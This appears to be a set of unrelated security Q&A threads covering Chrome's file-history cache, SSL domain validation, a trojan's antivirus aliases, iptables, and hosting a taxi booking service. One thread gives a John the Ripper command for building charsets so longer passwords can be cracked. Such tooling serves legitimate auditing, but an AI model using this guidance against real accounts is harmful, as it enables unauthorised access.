I have an old version of chrome installed in my PC. Then recently, I downloaded a newer version. But before I did that, I cleared all history, cache, cookies, etc. in my old chrome version, then proceed with the installation of the newer version.

After it got installed, I checked the history and saw a list of files I've opened from my computer, similar to what microsoft stored in their "Recent Items". They list all the files I've opened, movies I've watched, pictures and documents I've opened.
I thought it was just a glitch so I cleared chrome's history, cache, cookies,etc. again.

But when, I was browsing chrome's files, I found out that it still have the history of files I've opened. The file was "History Provider Cache" found at "C:\Users(user)\AppData\Local\Google\Chrome\User Data\Default"

My OS: Windows 7

Old chrome version: 23.0.1271.64

New chrome version installed: 25.0.1364.68

It is certainly normal for Chrome to do this. It is part of the Omnibox functionality, helping google provide you with the results you want.

To get rid of the history provider cache, simply delete that file.

You could have a read of this question on SU discussing editing it.


How can you prevent employees of your company from creating valid ssl certs? When registering for an SSL cert, I was able to validate that I "owned" the domain I was creating the cert for by having a valid @domain.com email address. If I worked for a large company, say Microsoft or something, and have a valid me@microsoft.com email address, how am I prevented from being able to create a valid SSL cert for microsoft.com?

Maybe Microsoft has something in place to handle this, but what if the company is a bit smaller and doesn't have anything in place?

It's not just any email address at that domain. I have a valid gmail address, but that's not enough to convince Verisign that I own gmail.com.

Instead, at the very least, you need to control one of a specific set of addresses, including the email address listed in the whois record for the domain, and also often some of the following:

admin@example.com
administrator@example.com
hostmaster@example.com
root@example.com
webmaster@example.com
postmaster@example.com

In addition to that, depending on the domain in question and often triggered an by automatic flagging system, they may require additional manual validation by an employee of the CA. If you were to try to get a certificate for microsoft.com, for example, it probably wouldn't work even if you did control one of the email addresses listed above.


John the Ripper MaxLen From the documentation

  MaxLen = LENGTH

  Maximum password length to try. The default is 8 (or CHARSET_LENGTH as
  defined in src/params.h at compile time).

I've compiled it to support up to 62 characters, modified john.conf, but when running john it returns:

Incompatible charset file: $JOHN/alnum.chr

That's when using --incremental=alnum, but happens with any method. Why does this happens? Which are the exact modifications or parameters to support 62 characters?

Thanks in advance.

The included charset files are based on the default maximum length. You'll need to generate charsets for your target length:

john --pot=rockyou.txt --make-charset=alnum62.chr

Existing files will be overwritten, so you'll probably want to choose a different filename from the default.

More in this thread.


Trojan "Win32/Tnega!MSR" found by Windows Defender - aliases used by other antiviruses? Recently I had a Windows 10 (64 bit) PC where Windows Defender would report that if found and (apparently) removed a "threat" it calls Win32/Tnega!MSR. Unfortunately, the removal was unsuccessful, and after restarting the machine, the same message would pop up again. I then built a "Windows PE" USB stick with various antiviruses (provided by c't), booted from that and performed a complete scan with "ESET Online Scanner". It found 13 threats and removed 12, but none of them were identified as "Tnega!MSR" or any variation thereof. However after restarting, the Windows Defender message wasn't shown anymore, so it looks like ESET managed to remove the threat after all. Googling "Tnega!MSR" wasn't really helpful, it only returned the Microsoft page above, a forum thread which dealt with removing the threat, but didn't contain any additional information, and the usual deluge of keyword-stuffed fake pages. Does anyone here know the alias used for "Tnega!MSR" by other antiviruses, or can point me to a resource so I can find it out myself?

Does anyone here know the alias used for "Tnega!MSR" by other antiviruses, or can point me to a resource so I can find it out myself?

Use the VirusTotal website.
They have a lot of information on all the various names for this malware here
For example, Defender calls it "Trojan:Win32/Tnega!MSR", ESET calls it "Win32/RA-based.NJV", et cetera.


Does iptables work in kernel mode? I am not sure about that. It should run in kernel mode in order to avoid some user-mode program to kill/suspend the firewall and do its dirty job.
The malware would not be able to kill the firewall even if it was able to get higher privileges.
Hope in deep explaination for both Windows (consider a generic firewall) and Linux machines.
Thanks and have a nice day.

iptables is a user-mode program that acts as an interface to the Netfilter hooks that the Linux kernel provides. By it's very definition, it cannot run in kernel mode as it is a user-mode program designed to interface with a set of kernel hooks.

iptables can only be modified by the root user anyway. If a piece of malware manages to elevate privileges that high, you are screwed anyway. It's impossible (or at least close to impossible) to defend against a malicious root user.


Securing small volume distributed web services A taxi office has a server, which they use to run a web service, which takes bookings for their drivers.

The volume of requests is small approx. 100 request per hour. The service is used by operators in the office and by members of the public using their smart phones.

If a developer was writing web services where the taxi companies installed the software themselves in their own offices, would there be a way that a login could be secured/encrypted in an automated way at installation to be used by office staff and smartphone users.

Per several of the comments, the downside to this solution is the local installation of a publicly available web service.  The initial requirements just to allow connectivity is greater than the return on the service, you have:

Public connectivity requirements
Security requirements, minimal maybe but litigation still can happen over the smallest of issues
Certificates for each location:  no, self signed is inappropriate and again, a bad choice especially if the web service is used by mobile devices (who hate self-signed certs)
There is always an IT maintenance SLA somewhere and dispersed installations means dispersed infrastructure and troubleshooting management.

We could go on with other issues, from patch management, to janitors walking in and turning off critical infrastructure.

Per Schroeder, using a lightweight cloud service (AWS or Azure), you can create a single web app space and tenant the application as a subscription so turning up a new taxi service is as simple as you develop it within the application.  it can be a subdomain of the parent service, it can be a separate VM, or it can just be a logon-isolated app.  But the benefits of maintaining a single web service in the cloud starts with:

Single troubleshooting location
Easy application availability (redundancy is just one of those cool Cloud things)
-Infrastructure that eclipses small business on-premise services
Built-in monitoring, DNS, routing, and networking services.  This is the big one that you don't want to deal with for one-off small office issues.
Documentation and support - when issues arise, you at least have someone to talk to, compared with vendor A for internet, vendor B for basic networking, vendor C or yourself for dev work (or you're contracting it out at a premium)

Cloud is just the better way to go for these solutions.